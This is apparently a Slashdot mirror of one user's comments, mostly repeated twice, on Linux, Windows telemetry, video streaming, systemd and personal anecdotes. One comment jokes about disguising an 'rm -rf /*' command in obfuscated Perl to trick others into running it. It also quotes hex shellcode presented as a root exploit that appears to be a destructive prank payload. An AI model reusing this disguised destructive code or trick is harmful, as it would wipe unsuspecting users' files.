You know... I know of the commend but I've never once made use of it and I'm not really sure what I'd do with it? I use chmod +x (for example) frequently enough and I chmod stuff on the server(s) often enough but I've never needed greater refinement than that. Honestly, I've got the man pages in some HTML files that I downloaded (still gotta figure out how to get them to PDF format) but I've not really had any reason to read more deeply into them.
I guess we could set up some sort of chattter {args}/* && rm -rf/* command... Maybe we can munge it in "obfuscated" Perl and get 'em to run it that way? I did, at one point, bump into a command that was basically the same thing only written in beautiful Perl. Lemme see if I can find it.
Hmm... Nope. I can't spot it in the five minute search I gave it. I did find this in hex:
I'm inclined to agree entirely. If I used Windows then I'd probably allow them to collect the telemetry data. What'd be disappointing is that turning off the features doesn't fully disable their connections to the Windows servers. I think such should be optional. I can't say that it should be a mandatory option because I'm not a fan of controlling others and it's their OS to ruin as they see fit. I do think that it should be optional and in easily understood terms rather than couched in legal terms in a EULA.
I suspect that, technically, Microsoft is being honest, in a strict sense of the word. They probably make some disclosures concerning data collection, in a vague way, in the EULA and one consents prior to installing the OS. If they were doing so without consent (even if it's couched in legal terms and unlikely to be read) then they're probably committing a crime somewhere on the planet. I'd assume their legal team is a bit smarter than that - but I could be mistaken.
I don't want to defend Microsoft but I feel compelled to do so by stating this: So far, and considering the number of attacks they must face, Microsoft has been pretty good stewards of the data they collect. I think it is reasonable to believe that a breech would have been made public (by the persons who did so) and they've collected this, and similar, data for many years now without any known intrusions. I'd assume that it is also not tied to a specific user though it could probably be tied to a user with some other databases and some effort. Thus, I'd probably not try to block it if it were my computer.
Of course, like you, I'd much rather they be open and honest about it. I'd much prefer a switch that disabled it, including updates, that worked as advertised. I'd have a greater appreciation for the ability to refine, view, and optionally edit the data that was transmitted but I may be asking a bit much and may not be able to reasonably expect such.
As mentioned before, I'm not using Linux because of any altruistic reasons. I've had Linux installed on one partition or another since the 1990s. I'm using it because I was no longer learning anything new with Windows and I felt that I was disappointing myself and I realized that I'd not ever take the time to learn more about it if I didn't use it to the exclusion of everything else. I like to poke, break, and learn - without that, I feel lazy and as if I'm not accomplishing anything important. So, if anything, consider that when considering my opinions - if it matters/helps.
I believe you can still do that but it requires an extension. See the options included with Magic Actions for YouTube for an example. I find it to be a *very* handy extension but, in my case, I usually use it to set the default to a lower bitrate than normal. Odd, I know. That said, I believe it's under the "better buffer' type of setting. If you enable it then, I think, it buffers the entirety (or a good deal of) the video before it begins playing the video in question. I've only enabled it to test but I think that's what it was doing. As I recall, you could set it, leave the tab, return, and it would be buffered but one should keep in mind there are reasonable cache limitations.
I suspect they also don't want you pulling it out of your cache easily. However, this "protection" mechanism is also easily bypassed with a variety of tools. My favorite is a GreaseMonkey script that simply adds buttons to download it in a variety of formats. I've not used such, not in quite a while, but I imagine that such things continue to exist. There were a good number of them the last time I checked the script repository for such. My assumption is that this remains true.
I can agree but my complaint would be in an opposite direction. I want to be able to scale back quality. I don't need HD. SD is fine. I'm comfortable with 480p or even 360 or whatever it is. I don't need more bandwidth, I've got plenty. I just need to be better able to utilize my bandwidth. Actually, even still, it doesn't really throttle my bandwidth down - I'm paying for 12 Mb/sec and generally exceed that number. I just don't need (or want) the greater resolutions.
I watch documentaries and, often times, those are just on in the background or listened to while I close my eyes and think about how nice it would be to sleep. (I wasn't going to sleep anyhow, I might as well listen and learn something.) That is, almost exclusively, what I watch. So, for me, it's just not worth the compute cycles or bandwidth to render HD.
On the other hand, I'd like to be able to select to do so, if I want. I've resolved this with YouTube's site by using something called Magic Actions for YouTube but that's just a single site. I'd like more streaming video to have the ability to set a default settings and then change the settings per video (or session) as I am in the mood for.
Also, I don't want to download. If I wanted to download, I'd do that. I want to stream. I agree that it would be a nice option but it's not something I'd make much use of except to fill more storage space with videos that will never actually be watched. If anything, I'd still support the idea. I guess, to try to sum it up, I'd want greater configuration options including default settings and methods as well as session settings and methods. I'm a big fan of the ability to customize and fewer things are really offering this as a choice as of late. I don't feel competent to speculate as to why.
I did not realize that Gnome was being hosted by RedHat. That, err... That explains a bit. A quick Google doesn't seem to be productive in my attempt to see when Gnome was "assisted" by RedHat or if they've always been that way. Gnome was pretty good for a while. I've not liked their DE in a while. I recall which was the last version that I liked - I think it was in the 2.0 region? These days, I just enjoy the simplicity of LXDE and tend to default to that where applicable.
Oddly, only my backup "throwaway" laptop that I brought with me does that. It's just some inexpensive Toshiba Satellite but it has a volume wheel on the front of it that comes in handy.
On the other side, just disable startup notification sounds and the indicated complaint goes away without needing a hardware solution. It's in the system settings.
You want to take away the choice from the distro authors? You want to take away the distro authors, even at Debian, and force them to do what you want?
I'm not sure that I agree that such is a good change to make to a tech product. I'm inclined to be diametrically opposed to that, in fact. What I do support is the idea where you can make your own distro if you want - one without systemd. You can even make it just like Debian sans the systemd functionality. There doesn't seem to be many people who are interested in making this happen.
If, I had to pick just one change to make - and this ties into this, I'd make software more compatible by default. In other words, I'd like software to be completely cross-platform. It'd be nice to be able to run any OS X software on Linux, any Android software on Windows, and any Windows software on BSD - without complexity and with full functionality. Seeing as it's a pipe dream, I'll dream that big.
Either way, if you want Debian without systemd that ship has sailed. I'd say it is unethical, immoral even, to limit their freedom of choice. They are not beholden to you. Just spin your own distro and make it without systemd. If people are wanting such a thing then they'll assist you in proportion to their desire for such a build. I've actually little opinion, not strongly in one way or another, on the subject but most of the people complaining seem disinclined to actually do anything about it even though they're well-enabled to actually act on their complaints. That is, after all, one of the major benefits of free software.
Systemd hasn't even kicked my puppy or pissed in my Cheerios. It has even been helpful a couple of times when I was finding out the cause of system slowdown during boot. That said, if I opposed its inclusion, I'd simply start working on my own build and encouraging others to join me.
They are taxed. They use electricity and the electrical consumption is taxed. All of my power comes from renewable sources, when I'm home, so why should I pay an additional tax? Hell, the vast majority of my power (all of it, currently) at home is from sources of my own generation - solar and wind. I generate enough to put extra into the system because I'm still attached to the grid. But you want to try to control someone else's behavior via taxation...
No, I'm not okay with that. If it's bad then it should be outright illegal not allowed simply because someone can afford it. If it's not bad then stop trying to control what other people do just because you don't like it. "It should be taxed!" is so facile as to be bordering on moronic.
I also believe that most major distros won't really let you do that now, at least not without a warning. Without sudo the OS should still be usable though difficult. They'd probably be best off creating a new user profile and going from there. I do wonder if anyone has ever been stupid enough to actually run that command unintentionally? I'm pretty sure some have tried it intentionally but I don't know of anyone who's done so because they read about it on a forum and decided to try it out as a cure for their problem.
Then again, someone probably has.:/ I've heard rumors of folks who legitimately felt that deleting system32 would fix their problem. That's not really possible with SFP in place. (You can't delete notepad.exe or calc.exe either. Well, you can delete them but they grow back pretty much immediately - I'm not sure if they're actually deleted or not or if they just appear to be deleted.)
I don't know about you but I've a couple of debit cards that do not have my name on them. So long as I authorized them then the credit union happily gives them to me. I presume no laws are being broken. This, of course, is not complete privacy but it comes in handy with a variety of online purchases. I used to have a credit card in a famous person's name and would use that. I don't know if that's still something credit card companies allow or not but once you had the account you could get a card in another name with nary any trouble at all.
That'd explain it. Who the hell leaves stuff rated at 5 as disabled? There's security updates in them there codes! A quick looks shows that they're enabled here which means I must have seen fit to change them. I deleted my VM image not long ago but I imagine it was enabled there as well.
I read the description and it does "look scary!" So, maybe that's why people leave it disabled? It seems rather silly and, well, wrong.
We've got a "stock answer" for it over on the AskUbuntu side of the SO network. It is, basically, "I will not ask homework questions on AskUbuntu." It includes a link to Bart Simpson writing out similar on a chalkboard. It is usually easy to tell which is which and, often enough, the user opts to delete their question. The questions frequently have very ethnic usernames associated with them - I'll leave it to others to speculate.
That's not really my pet peeve. Not at all...
What *really* irks me is the people who come in and are obviously attempting to do a project for pay and are unqualified to do so. It is my assumption (and the caveats that go with assuming are true) that they've somehow managed to bid or get hired to do a job and are unqualified to do so. I'd not mind if this was a specific question but they're often like this:
"I need to set up a network that can communicate with a Windows network and I have to be able to be able to do this as a local cloud. What software do I need and how do I do this?"
Now, I have loads of free time. I give my time, research, and effort away. I'm not going to do that to enable you to make money. I'm not going to help save you from being unwilling to do some research on your own. I'm not going to save you from biting off more than you can chew. I'm not going to help you after you lied about your credentials. I'm willing to help you, I'm not willing to do your work for you.
Also, if the homework question pops up and they tell us that it is homework, what they've tried, and where they're stuck and what they're having issues with then I'll help them find the resources they need to get their answers. I don't answer a lot of questions and only started helping there not so very long ago. I prefer to leave comments that will help those, like the above, answer their own questions.
I am not a very good programmer - nor was my profession as a programmer but it involved a lot of programming. I've never been a fan of cutting and pasting. Instead, I prefer to cut and paste into a text document and then figure out what it is doing, why it is doing it, and how it actually solves the problem. Then, I'll rewrite it to make it do what I wanted it to do. Sometimes it ends up shorter and sometimes longer but, for me, it means that I generally understand it better and will understand it better when I return to it later.
I used to get lots of help on Usenet (and contribute where I could). I'd try to, and this isn't easy, be both vague and specific in my questions. I know, that sounds impossible and it's difficult. What I wanted, for an answer, was not necessarily how to do something specific but how to do a process and what process bet fit my needs. I can, generally, figure it out from there.
I'm not sure if that makes any sense and I stress, again, that I am not a programmer. I figured that I'd share what has worked for me. I prefer not just an answer but the reasoning behind the answer. I prefer to understand the concept instead of just the result. Anyone can cut and paste, it takes someone with just enough knowledge to really fuck something up beyond repair.;-)
I've a sibling with a pace maker but it's not in her heart - it's actually meant to keep her stomach gurgling. (She has a rare health issue with a name I am not going to try to spell.)
I don't think you know how these things work? They don't just walk into a room. They go into a room, a technician meanders over with a cart, and puts a device physically on the body and then still has to move this device in order to get it close enough to be connected.
Now, I don't want to speculate that all these pacemaker devices are the same but the single one that I'm familiar with works just like that. I'd like to imagine that the rest are similar. Which leads me to this...
So, now the bad guys have stolen the device, or reverse engineered the communication and built their own device, they've captured and restrained their victim - while knowing exactly which device they have and have targeted it's unique software, and have developed some malware for this...
Why didn't they just send them a letter saying we'll shoot you if you don't comply? It seems needlessly complicated.
It's Forrester and, for reasons, a long time ago we used to pay for some of their papers as well as some from Gartner. I've never compiled the data but I concluded that they were actually wrong more often than they were right when it came to their ability to make predictions.
You're gonna be right pissed when Microsoft takes away the control panel and regedit!
Err... I'm assuming that those are still a thing. I have, technically, officially touched a Windows 10 laptop now. As in used Windows 10 for about five minutes or so. It seemed nice enough. I'm not really a Windows user as of late so I don't actually know much about Windows 10 except that I need to check when people make extreme claims to see if they're actually telling the truth.
I didn't stop using Windows out of any ethical reasons or anything. I was just not learning anything new. I'd always kept Linux installed but I rarely used it. I realized that I'd not use it if I kept Windows installed. So, I simply got rid of Windows. My MSDN subscription has even expired. I think I'd had Linux installed on a partition pretty much constantly since the late 1990s but I just didn't use it often. So, I made the switch.
It'd be nice if one could turn off all the telemetry and data collection that Microsoft does, easily and perhaps with optional controls. Honestly? I'd probably leave it enabled on my Windows installs if I had some Windows installs to enable it on. I do, now, have a Windows phone and I'm pretty sure it's enabled on that. Some data, of course, has to be sent out if you want things like a robust search (searching the web, your online "cloud" documents, etc) or that digital assistant thing to work with any advanced features. From what I've read, from less biased sources, you can disable the live tiles (I think they're called) if they bother you and games can be had for free, or free with ads with ads, or even by paying.
Meh... It sounds like a fine OS. But, yeah, turning off the telemetry means that your voice is not heard. It'd appear you know this and I'll avoid preaching to the choir. It's going to cause an outrage if something like Group Policy Editor, Regedit, and the control panel disappear because the people who typically use those are advanced users and more likely to block telemetry data collection. I will, of course, chuckle.
I buy and go through an obscene amount of hardware. I'm talking an average of somewhere around three laptops per year and as many white boxes. I won't say that I *never* have hardware that will simply not work. However, it's pretty rare that I do have hardware that doesn't work right out of the box when I select a popular distro to use. If it doesn't work then chances are that it will with a little bit of research and work. Yes, sometimes I have to compile a driver that was edited by someone in the community. A few times, I've made such edits myself but I've not had to do so in a very long time.
Heck, I've used Windows for years and almost always had a fully working Linux install on a second partition. These days, I just skip the Windows partition. I don't skip it out of any altruistic reasons or the likes. I just wanted something different to break, poke at, and learn. I'd never spent as much time learning the OS as I'd wanted to and realized that I wouldn't unless I used it to the exclusion of all others. So, that's my motivation.
At any rate... It's not 2005 any more. I can't be specific, I don't know the numbers, but it appears that the vast majority of hardware just works without any tinkering. In a few cases, I've ended up using a distro that I'd not planned on using and that's fine, for me at least. Sometimes I find something like wireless hardware that needs to be tweaked or whatnot but that's really rare. Just throw a live OS on a USB and test, if it works then you're good to go. If not, try another one. Someone's almost always figured out a way to make it work.
This is, of course, not true when there's a required chunk of software for the peripheral. You can't always use Linux just like you can't always use OS X, Android, or Windows 10. But, for the vast majority of places and people, it seems to be an acceptable solution for those who want to make that choice. Then again, I'm not a zealot or anything. My only suggestion is that you use what works best for you and helps you to accomplish your goals in a way that makes you as productive and safe as you want to be. Hell, I want to go to BSD-land next and spend a good six months using it exclusively. I might even do so with Plan 9 and Minix.
The thing about blocking telemetry is that it's a two edged sword. Now, when features you like are disabled you'll have nobody to blame but you and the other "power users" who decided to block their usage data gathering. A recent thread on this site was a good indicator of the potential results of this. It means you're letting the not-so-savvy folks decide the metrics given to the vendor and thus will get a product designed around their usage patterns.
She's never upgraded the kernel in those two years? You might want to double check on your wife's computer. She's doing something wrong if she wants to have those updates take effect. For the record, the laptop next to this one has Linux Mint Cinnamon on it - this one has Lubuntu and a couple other distros on it. However, if she's had it for a couple of years and has only done the reboot once then she's missing something, probably. If you want the new kernel then a reboot is required. There are security updates included in kernel releases. I'd say those qualify as required reboots, no?
'Tis time for my daily off-topic post. My saga, if you will. (Yes, I do this to piss you off, not you personally but someone else. If it irks you incidentally then oops. I hope you appreciate the story.)
Anyhow...
Many years ago I was out with a couple of friends of mine and I saw the grossest thing that I've ever seen. I hunt and take care of animal viscera. I've seen dead people, people wounded, and people in car accidents - horrific ones. Yet, none of those really make me queasy or anything.
My two friends are Paul and Wog (they'll be proud that I shared this story) and Wog's called that because his name is also Paul and it's short for polliwog. Paul and Wog worked as subcontractors in the construction trade.
Now, Paul and Wog were good friends and I a member of this same circle of friends. Alcohol was generally a requirement in this circle and we often consumed copious amounts of it. This one night in particular, we'd been drinking Ice 101 which is a rather potent peppermint schnapps. We are also in a work van with Paul driving and Wog in the passenger seat. I sat in the rear on a bucket - there were no rear seats. (Seat belts weren't required back then.)
So, we're going somewhere and I don't recall where we were or where we were going but we'd just stopped at a fast food place. At this point Paul, driving, pulls off to the side of the road and vomits in the trash can that is between the seats and right in front of me. Peppermint schnapps, fast food, and a day's worth of bile aren't really nice smelling but it was funny. For about 5 seconds it remained funny.
Wog, being drunk, says, "Oh look! a French fry!" He then reaches into the trash, into the vomit, pulls out a partially eaten fry, and pops it into his mouth and eats it.
I managed to get the van door open before projectile vomiting onto the side of the road while Paul happily returned to driving.
Peppermint schnapps and Windows 10 are on the list of things I won't own. It was also a long time before I'd eat fries again. The smell of peppermint schnapps still turns my stomach even all these years later.
The firearm doesn't lead to freedom - it is a part of freedom, more accurately liberty but pertinent to both. The right to own one ensures the freedom is maintained. I'm free to own one regardless of the rights - I'm just not at liberty to do so. I want to be free to do so without consequences - to have the inalienable right to ownership. The right to own one is a part of freedom, one of many parts. It doesn't ensure freedom, it helps maintain it.
I see you may be confused. I'll try to square things away for you. I'm free to kill you. I do not have the right to do so. I'm free to shoot you. I am not at liberty to do so. Freedom is something that's particularly hard to take away but rights can be stripped away pretty easily. Freedom can only be taken away by force (even minimal forces for some subsets). Rights and liberties can be taken away by threat of force. Freedom is, of course, also a part of life.
Following?
Now, if someone is trying to unlawfully take away your freedom then a firearm is certainly an acceptable tool and the right to defend oneself is essential. A right to success is not guaranteed, however. But, as someone who wishes to maintain his rights and liberties, while remaining free, I choose to own a firearm (or many). By virtue of my ownership, being lawful, one can conclude that I have not yet provided any justification for stripping those rights away from me.
You fear is not an acceptable reason to strip me of my liberties and reduce my ability to maintain my freedom. In fact, I'm aware that firearm ownership makes us less safe, overall, and I accept that. Yes, you may be harmed by a firearm. Those are trivial numbers and entirely unlikely. You'll be replaced with another human in short order. If you want complete safety then you'll need to cage everyone. I'd rather you not do that. I'd rather you put your man-panties on and accept that life's not that simple and that bad people do bad things to good people - but mostly bad people.
There's always risks and rewards. The reward is freedom. At that point, any risks are worth it.
That's silly. I've never been under the impression that a firearm makes me safe. The right to possess one makes me more free. That's hardly more safe - it's the exact opposite of safe. I accept that risk.
Yup. That's kind of what I expected to hear. I've seen all sorts of hardware that was "too old" that ran Linux just fine for normal, general purpose, computing. Sure, it's not blazing fast but it's plenty fast to get things done. If they're having issues with it "choking" then they're doing something odd or not trying very hard. No, you're not going to have a bunch of tabs open and play a video in HD at the same time. But you can play a video in HD - you probably can't go much better than 720p at a local file before you get issues unless you've got a dedicated GPU with decent driver support but you can almost certainly hit that level with nary a problem.
All I can picture is a scene from a WWII documentary where a Russian soldier is beating a horse that's skinny and hauling a load that's way too heavy for it - on the ice. The horse falls and he beats it until it gets up and takes a few more steps. The clip shows up in a few different documentaries (it was in Stalingrad) and the horse is falling again as the clip cuts out. I presume it dies. If you're trying to game, watch a video, or otherwise make it do tasks it has never done well then the performance is not going to be magically improved over time. (My estimation is that it stays much the same or is marginally improved for the same size data that's being processed.)
In this case, get a lighter desktop and optimize it for the use case. Run a lightweight browser (I find Opera to be fine but Midori works well enough and has an ad blocker). Use a light email client or don't install the bloated calendering application extension in Thunderbird. Set the swap value appropriately and configure/swap properly. If possible, add RAM.
For amusement, I've maxed out the RAM on some older boxes and put an SSD in them. It's amazing how much difference that makes. I mean truly amazing at the difference it makes - it's a whole new machine. It's not required, however. The box still works, it works pretty much as fast as it ever has. If resume is well supported, you can even shut it down and power it back on quickly. They really don't take a long time to boot anyhow. If boot's a problem then, assuming one has systemd, run:
systemd-analyze critical-chain
and see where the bottleneck is. When you find it, compile it for yourself on your own hardware, and replace it - if it's required. If it's not required then don't worry about it - just remove it. Or, alternatively, deal with the extra three seconds it takes to boot.
I'm not even a guru and I can do this stuff. Hell, I'm traditionally a Windows user. I have kept Linux on a partition since the 90s but I mostly used Windows or Solaris/SunOS back in the day. Only recently did I say screw it and moved entirely to Linux. However, I've had Windows running on that same architecture in the past. I've had Windows 7 running on hardware that old - or older. It isn't speedy but it works.
Anyhow, if anything, I picture this as the afore mentioned Russian beating the dying horse. It's not going to magically run faster than it used to but it should run and run well enough to make use of it. If it doesn't then there's almost certainly a distro out there that will run - some of them will be downright speedy.
Slashdot Mirror
You know... I know of the commend but I've never once made use of it and I'm not really sure what I'd do with it? I use chmod +x (for example) frequently enough and I chmod stuff on the server(s) often enough but I've never needed greater refinement than that. Honestly, I've got the man pages in some HTML files that I downloaded (still gotta figure out how to get them to PDF format) but I've not really had any reason to read more deeply into them.
I guess we could set up some sort of chattter {args} /* && rm -rf /* command... Maybe we can munge it in "obfuscated" Perl and get 'em to run it that way? I did, at one point, bump into a command that was basically the same thing only written in beautiful Perl. Lemme see if I can find it.
Hmm... Nope. I can't spot it in the five minute search I gave it. I did find this in hex:
char esp[] __attribute__ ((section(".text"))) /* e.s.p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p
I am (sadly) more amused than I should be.
I'm inclined to agree entirely. If I used Windows then I'd probably allow them to collect the telemetry data. What'd be disappointing is that turning off the features doesn't fully disable their connections to the Windows servers. I think such should be optional. I can't say that it should be a mandatory option because I'm not a fan of controlling others and it's their OS to ruin as they see fit. I do think that it should be optional and in easily understood terms rather than couched in legal terms in a EULA.
I suspect that, technically, Microsoft is being honest, in a strict sense of the word. They probably make some disclosures concerning data collection, in a vague way, in the EULA and one consents prior to installing the OS. If they were doing so without consent (even if it's couched in legal terms and unlikely to be read) then they're probably committing a crime somewhere on the planet. I'd assume their legal team is a bit smarter than that - but I could be mistaken.
I don't want to defend Microsoft but I feel compelled to do so by stating this: So far, and considering the number of attacks they must face, Microsoft has been pretty good stewards of the data they collect. I think it is reasonable to believe that a breech would have been made public (by the persons who did so) and they've collected this, and similar, data for many years now without any known intrusions. I'd assume that it is also not tied to a specific user though it could probably be tied to a user with some other databases and some effort. Thus, I'd probably not try to block it if it were my computer.
Of course, like you, I'd much rather they be open and honest about it. I'd much prefer a switch that disabled it, including updates, that worked as advertised. I'd have a greater appreciation for the ability to refine, view, and optionally edit the data that was transmitted but I may be asking a bit much and may not be able to reasonably expect such.
As mentioned before, I'm not using Linux because of any altruistic reasons. I've had Linux installed on one partition or another since the 1990s. I'm using it because I was no longer learning anything new with Windows and I felt that I was disappointing myself and I realized that I'd not ever take the time to learn more about it if I didn't use it to the exclusion of everything else. I like to poke, break, and learn - without that, I feel lazy and as if I'm not accomplishing anything important. So, if anything, consider that when considering my opinions - if it matters/helps.
I believe you can still do that but it requires an extension. See the options included with Magic Actions for YouTube for an example. I find it to be a *very* handy extension but, in my case, I usually use it to set the default to a lower bitrate than normal. Odd, I know. That said, I believe it's under the "better buffer' type of setting. If you enable it then, I think, it buffers the entirety (or a good deal of) the video before it begins playing the video in question. I've only enabled it to test but I think that's what it was doing. As I recall, you could set it, leave the tab, return, and it would be buffered but one should keep in mind there are reasonable cache limitations.
I suspect they also don't want you pulling it out of your cache easily. However, this "protection" mechanism is also easily bypassed with a variety of tools. My favorite is a GreaseMonkey script that simply adds buttons to download it in a variety of formats. I've not used such, not in quite a while, but I imagine that such things continue to exist. There were a good number of them the last time I checked the script repository for such. My assumption is that this remains true.
I can agree but my complaint would be in an opposite direction. I want to be able to scale back quality. I don't need HD. SD is fine. I'm comfortable with 480p or even 360 or whatever it is. I don't need more bandwidth, I've got plenty. I just need to be better able to utilize my bandwidth. Actually, even still, it doesn't really throttle my bandwidth down - I'm paying for 12 Mb/sec and generally exceed that number. I just don't need (or want) the greater resolutions.
I watch documentaries and, often times, those are just on in the background or listened to while I close my eyes and think about how nice it would be to sleep. (I wasn't going to sleep anyhow, I might as well listen and learn something.) That is, almost exclusively, what I watch. So, for me, it's just not worth the compute cycles or bandwidth to render HD.
On the other hand, I'd like to be able to select to do so, if I want. I've resolved this with YouTube's site by using something called Magic Actions for YouTube but that's just a single site. I'd like more streaming video to have the ability to set a default settings and then change the settings per video (or session) as I am in the mood for.
Also, I don't want to download. If I wanted to download, I'd do that. I want to stream. I agree that it would be a nice option but it's not something I'd make much use of except to fill more storage space with videos that will never actually be watched. If anything, I'd still support the idea. I guess, to try to sum it up, I'd want greater configuration options including default settings and methods as well as session settings and methods. I'm a big fan of the ability to customize and fewer things are really offering this as a choice as of late. I don't feel competent to speculate as to why.
I did not realize that Gnome was being hosted by RedHat. That, err... That explains a bit. A quick Google doesn't seem to be productive in my attempt to see when Gnome was "assisted" by RedHat or if they've always been that way. Gnome was pretty good for a while. I've not liked their DE in a while. I recall which was the last version that I liked - I think it was in the 2.0 region? These days, I just enjoy the simplicity of LXDE and tend to default to that where applicable.
Oddly, only my backup "throwaway" laptop that I brought with me does that. It's just some inexpensive Toshiba Satellite but it has a volume wheel on the front of it that comes in handy.
On the other side, just disable startup notification sounds and the indicated complaint goes away without needing a hardware solution. It's in the system settings.
You want to take away the choice from the distro authors? You want to take away the distro authors, even at Debian, and force them to do what you want?
I'm not sure that I agree that such is a good change to make to a tech product. I'm inclined to be diametrically opposed to that, in fact. What I do support is the idea where you can make your own distro if you want - one without systemd. You can even make it just like Debian sans the systemd functionality. There doesn't seem to be many people who are interested in making this happen.
If, I had to pick just one change to make - and this ties into this, I'd make software more compatible by default. In other words, I'd like software to be completely cross-platform. It'd be nice to be able to run any OS X software on Linux, any Android software on Windows, and any Windows software on BSD - without complexity and with full functionality. Seeing as it's a pipe dream, I'll dream that big.
Either way, if you want Debian without systemd that ship has sailed. I'd say it is unethical, immoral even, to limit their freedom of choice. They are not beholden to you. Just spin your own distro and make it without systemd. If people are wanting such a thing then they'll assist you in proportion to their desire for such a build. I've actually little opinion, not strongly in one way or another, on the subject but most of the people complaining seem disinclined to actually do anything about it even though they're well-enabled to actually act on their complaints. That is, after all, one of the major benefits of free software.
Systemd hasn't even kicked my puppy or pissed in my Cheerios. It has even been helpful a couple of times when I was finding out the cause of system slowdown during boot. That said, if I opposed its inclusion, I'd simply start working on my own build and encouraging others to join me.
They are taxed. They use electricity and the electrical consumption is taxed. All of my power comes from renewable sources, when I'm home, so why should I pay an additional tax? Hell, the vast majority of my power (all of it, currently) at home is from sources of my own generation - solar and wind. I generate enough to put extra into the system because I'm still attached to the grid. But you want to try to control someone else's behavior via taxation...
No, I'm not okay with that. If it's bad then it should be outright illegal not allowed simply because someone can afford it. If it's not bad then stop trying to control what other people do just because you don't like it. "It should be taxed!" is so facile as to be bordering on moronic.
I also believe that most major distros won't really let you do that now, at least not without a warning. Without sudo the OS should still be usable though difficult. They'd probably be best off creating a new user profile and going from there. I do wonder if anyone has ever been stupid enough to actually run that command unintentionally? I'm pretty sure some have tried it intentionally but I don't know of anyone who's done so because they read about it on a forum and decided to try it out as a cure for their problem.
Then again, someone probably has. :/ I've heard rumors of folks who legitimately felt that deleting system32 would fix their problem. That's not really possible with SFP in place. (You can't delete notepad.exe or calc.exe either. Well, you can delete them but they grow back pretty much immediately - I'm not sure if they're actually deleted or not or if they just appear to be deleted.)
I don't know about you but I've a couple of debit cards that do not have my name on them. So long as I authorized them then the credit union happily gives them to me. I presume no laws are being broken. This, of course, is not complete privacy but it comes in handy with a variety of online purchases. I used to have a credit card in a famous person's name and would use that. I don't know if that's still something credit card companies allow or not but once you had the account you could get a card in another name with nary any trouble at all.
That'd explain it. Who the hell leaves stuff rated at 5 as disabled? There's security updates in them there codes! A quick looks shows that they're enabled here which means I must have seen fit to change them. I deleted my VM image not long ago but I imagine it was enabled there as well.
I read the description and it does "look scary!" So, maybe that's why people leave it disabled? It seems rather silly and, well, wrong.
We've got a "stock answer" for it over on the AskUbuntu side of the SO network. It is, basically, "I will not ask homework questions on AskUbuntu." It includes a link to Bart Simpson writing out similar on a chalkboard. It is usually easy to tell which is which and, often enough, the user opts to delete their question. The questions frequently have very ethnic usernames associated with them - I'll leave it to others to speculate.
That's not really my pet peeve. Not at all...
What *really* irks me is the people who come in and are obviously attempting to do a project for pay and are unqualified to do so. It is my assumption (and the caveats that go with assuming are true) that they've somehow managed to bid or get hired to do a job and are unqualified to do so. I'd not mind if this was a specific question but they're often like this:
"I need to set up a network that can communicate with a Windows network and I have to be able to be able to do this as a local cloud. What software do I need and how do I do this?"
Now, I have loads of free time. I give my time, research, and effort away. I'm not going to do that to enable you to make money. I'm not going to help save you from being unwilling to do some research on your own. I'm not going to save you from biting off more than you can chew. I'm not going to help you after you lied about your credentials. I'm willing to help you, I'm not willing to do your work for you.
Also, if the homework question pops up and they tell us that it is homework, what they've tried, and where they're stuck and what they're having issues with then I'll help them find the resources they need to get their answers. I don't answer a lot of questions and only started helping there not so very long ago. I prefer to leave comments that will help those, like the above, answer their own questions.
As it should have. You need sudo for that.
I am not a very good programmer - nor was my profession as a programmer but it involved a lot of programming. I've never been a fan of cutting and pasting. Instead, I prefer to cut and paste into a text document and then figure out what it is doing, why it is doing it, and how it actually solves the problem. Then, I'll rewrite it to make it do what I wanted it to do. Sometimes it ends up shorter and sometimes longer but, for me, it means that I generally understand it better and will understand it better when I return to it later.
I used to get lots of help on Usenet (and contribute where I could). I'd try to, and this isn't easy, be both vague and specific in my questions. I know, that sounds impossible and it's difficult. What I wanted, for an answer, was not necessarily how to do something specific but how to do a process and what process bet fit my needs. I can, generally, figure it out from there.
I'm not sure if that makes any sense and I stress, again, that I am not a programmer. I figured that I'd share what has worked for me. I prefer not just an answer but the reasoning behind the answer. I prefer to understand the concept instead of just the result. Anyone can cut and paste, it takes someone with just enough knowledge to really fuck something up beyond repair. ;-)
And you'll never get any damned work out of them. They'll be out fishing all day!
I've a sibling with a pace maker but it's not in her heart - it's actually meant to keep her stomach gurgling. (She has a rare health issue with a name I am not going to try to spell.)
I don't think you know how these things work? They don't just walk into a room. They go into a room, a technician meanders over with a cart, and puts a device physically on the body and then still has to move this device in order to get it close enough to be connected.
Now, I don't want to speculate that all these pacemaker devices are the same but the single one that I'm familiar with works just like that. I'd like to imagine that the rest are similar. Which leads me to this...
So, now the bad guys have stolen the device, or reverse engineered the communication and built their own device, they've captured and restrained their victim - while knowing exactly which device they have and have targeted it's unique software, and have developed some malware for this...
Why didn't they just send them a letter saying we'll shoot you if you don't comply? It seems needlessly complicated.
It's Forrester and, for reasons, a long time ago we used to pay for some of their papers as well as some from Gartner. I've never compiled the data but I concluded that they were actually wrong more often than they were right when it came to their ability to make predictions.
You're gonna be right pissed when Microsoft takes away the control panel and regedit!
Err... I'm assuming that those are still a thing. I have, technically, officially touched a Windows 10 laptop now. As in used Windows 10 for about five minutes or so. It seemed nice enough. I'm not really a Windows user as of late so I don't actually know much about Windows 10 except that I need to check when people make extreme claims to see if they're actually telling the truth.
I didn't stop using Windows out of any ethical reasons or anything. I was just not learning anything new. I'd always kept Linux installed but I rarely used it. I realized that I'd not use it if I kept Windows installed. So, I simply got rid of Windows. My MSDN subscription has even expired. I think I'd had Linux installed on a partition pretty much constantly since the late 1990s but I just didn't use it often. So, I made the switch.
It'd be nice if one could turn off all the telemetry and data collection that Microsoft does, easily and perhaps with optional controls. Honestly? I'd probably leave it enabled on my Windows installs if I had some Windows installs to enable it on. I do, now, have a Windows phone and I'm pretty sure it's enabled on that. Some data, of course, has to be sent out if you want things like a robust search (searching the web, your online "cloud" documents, etc) or that digital assistant thing to work with any advanced features. From what I've read, from less biased sources, you can disable the live tiles (I think they're called) if they bother you and games can be had for free, or free with ads with ads, or even by paying.
